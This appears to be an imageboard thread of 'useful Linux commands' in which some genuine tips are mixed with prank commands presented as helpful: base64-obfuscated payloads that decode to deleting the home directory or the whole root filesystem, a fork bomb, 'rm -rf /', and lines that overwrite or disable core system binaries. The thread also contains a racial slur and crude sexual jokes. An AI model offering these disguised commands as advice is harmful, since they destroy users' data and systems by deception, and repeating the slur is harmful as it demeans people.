Useful Commands for Linux

Let's share some useful linux commands. I'll start:

sudo apt install windows-10

Attached: 220px-Tux.png (220x261, 39K)

Other urls found in this thread:

mono-project.com/download/stable/#download-lin
gitlab.com/OXiDE_/thing/raw/master/content.txt
twitter.com/SFWRedditGifs

$(echo cm0gLXJmIH4vCg== | base64 -d)

Haha, is that the Mario theme?

(OP)
>Distros that use apt are for fucking brainlets
>how 2 install spyware on loonix 101

cowsay fuck niggers

lsblk is pretty neat

uname --kernel-name
uname --operating-system

Attached: 1544667553826.png (724x599, 252K)

> sudo
What are you, a pussy?

$ uname -rms
Linux 4.19.9-gentoo-Xephyr-hardened x86_64

checkmate, atheists

whoa

rm -rf ~/
Haha, sure it's funny.

looks cool

cool

Attached: 2018-12-17-221747_701772029.png (1370x722, 15K)

xkill

:(){ :|:& };:

Very cool, very based

rm: refusing to remove '.' or '..' directory: skipping '/home/username/.'

The dot at the end kinda ruined it. But on the other hand it prevents worse for people who just start a shell and enter that.

>rm -rf ~/
what about
rm -rf /

grep /|/?i?/r? -r ~
I found it on stackexchange and useful

lol, I think you don't need to make that command that complicated haha. You could easily write it like that without that crypto hacker stuff xD
rm -rf ~/

AS ALWAYS: I hope you learned something XD
Dont delei by tode xD

rm /bin/rm
chmod -x /bin/chmod
pkill pkill
touch /bin/touch

Attached: shikataganai.jpg (750x415, 112K)

rm: it is dangerous to operate recursively on '/'
rm: use --no-preserve-root to override this failsafe

paccache -rk0

that's actually useful

Uhm, why exactly is it dangerous? I am a computer expert and know what i am doing

Based

Not really dangerous. They are just like Windows trying to limit what you, the user, can do with your electronics.

what does this do?

There are no linux commands. Linux is a kernel.

Linux is also a colloquialism for operating systems that use the aforementioned kernel. You know that though.

So you call Android just Linux?

No, I call it Android. Just like how I call Debian Debian

neat, I didn't know you can do colors like that

in case you have not read the source code for coreutils, the config has a case statement that checks for the OS type
and when the os type is linux they hard-code the value to something else.

using the output from the default, unpatched coreutils as some sort of holy grail "proof" that the OS name is anything but Linux is like trusting russia to be a democracy just because their government calls it a democracy

Attached: hardcoded.png (657x779, 76K)

rmmod pcspkr

ur retarded

jackd -d dummy
pactl load-module module-jack-source
pactl load-module module-loopback source=jack_in source_dont_move=true sink_input_properties="media.role=music"
Starts JACK with a null sink system output and starts a client "PulseAudio JACK Source", anything connected to it will be routed to the default PulseAudio sink.

This allows for the previously deemed-impossible JACK->PA->ALSA setup, which doesn't work with "-d alsa -d pulse" because pcm.pulse doesn't allow mmap, but JACK can't live without that because muh realtime. Using a JACK client and a PA loopback sidesteps this issue.

Attached: 1406248289332.png (1404x913, 276K)

There is in fact a linux commandline and commands to set for linux. You can find it in proc called cmdline and you set it with your bootloader.

thanks

inb4 I sudoku my VM trying this

apt purge windows-*

sometimes

$ grep /|/?i?/r? -r ~
rb: garbage on commandline
Try `rb --help' for more information.

did I fucked up?

youtube-dl -F (if not youtube video)
youtube-dl -f bestvideo+bestaudio youtube url

eopkg install
eopkg remove

screenfetch
neofetch

these are basically what i use on a daily basis

Attached: 2555A53E565BF12D38E82D.jpg (2350x3333, 3.84M)

I actually thought you were trolling OP with some idiotic meme like install gentoo, so I just ran it. I purposely didn't add the $, so when the command was decoded I died for a second but still it wasn't run. Thank you for reminding me what garbage can our community be.

dd if=/dev/zero of=$(which dd)
ln /bin/false $(which ln)
unlink $(which unlink)
chown nobody:nobody $(which chown)
sed -i 's/.*//g' $(which sed)
yes > $(which yes)
xz $(which xz)

Retard! Like I can't decode it.
import base64 as b
b.b64decode("cm0gLXJmIH4vCg==")

sudo apt-get install tor

try
rm -rf --no-preserve-root

use apt friend no reason for apt-get

How about sudo emerge --ask --exclude="brain/sanity" gentoo

Is there any difference, except it's shorter?

Linux is a kernel you idiot.

Utilities which make you look like you're doing something cool
>gtop
>htop
>cmatrix
>ncmpcpp
>cli-visualizer
What else do anons use to look like a cool HAX0R in front of normies

>here is the actual code to install windows 10 for those who are not trolls.
>mono-project.com/download/stable/#download-lin
>now try running it in ansi term in emacs on bash for windows on cmd in translucent so you can watch star trek in the background while you peruse irc from within emacs as well.

Attached: Capture.png (1680x1046, 719K)

hollywood in AUR

cp cheezepizza.png

vrms

no you dumb cunt it's the zelda theme

> -s, --kernel-name print the kernel name
> -r, --kernel-release print the kernel release
nice try

I wanna fug sasha

necrophilia is wrong mate

ls /bin/ls
echo base64 | base64 | base64 -d
alias ls=ls
cat /dev/null >> /dev/null
dd if=/dev/null of=/dev/null
vim -c :q
cd $(pwd)
curl gitlab.com/OXiDE_/thing/raw/master/content.txt | base64

Or you could just copy the part inside $() so it doesn't execute.

It doesn't run on root, it runs on the users home directory ~/ so you wouldn't need to add --no-preserve-root. Here's the root destroying version.
$(echo cm0gLXJmIC8gLS1uby1wcmVzZXJ2ZS1yb290Cg== | base64 -d)

Someone could accidentally write a recursive command that destroys the root directory. What case would this be an issue?

lol

Attached: Capture.png (452x148, 4K)

haven't read that far
so she's still alive

I'd just like to interject for a moment. What you're referring to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called "Linux" distributions are really distributions of GNU/Linux.

>uname() { echo Linux; }

It's too bad almost everything is geared for PA. I much prefer Jack and hate the idea of stacking tons of shit.

naw it is the legit uname from coreutils I just patched the bug in it

it's not GNU coreutils anymore since you modified it, you dip

>not having rm aliased to mv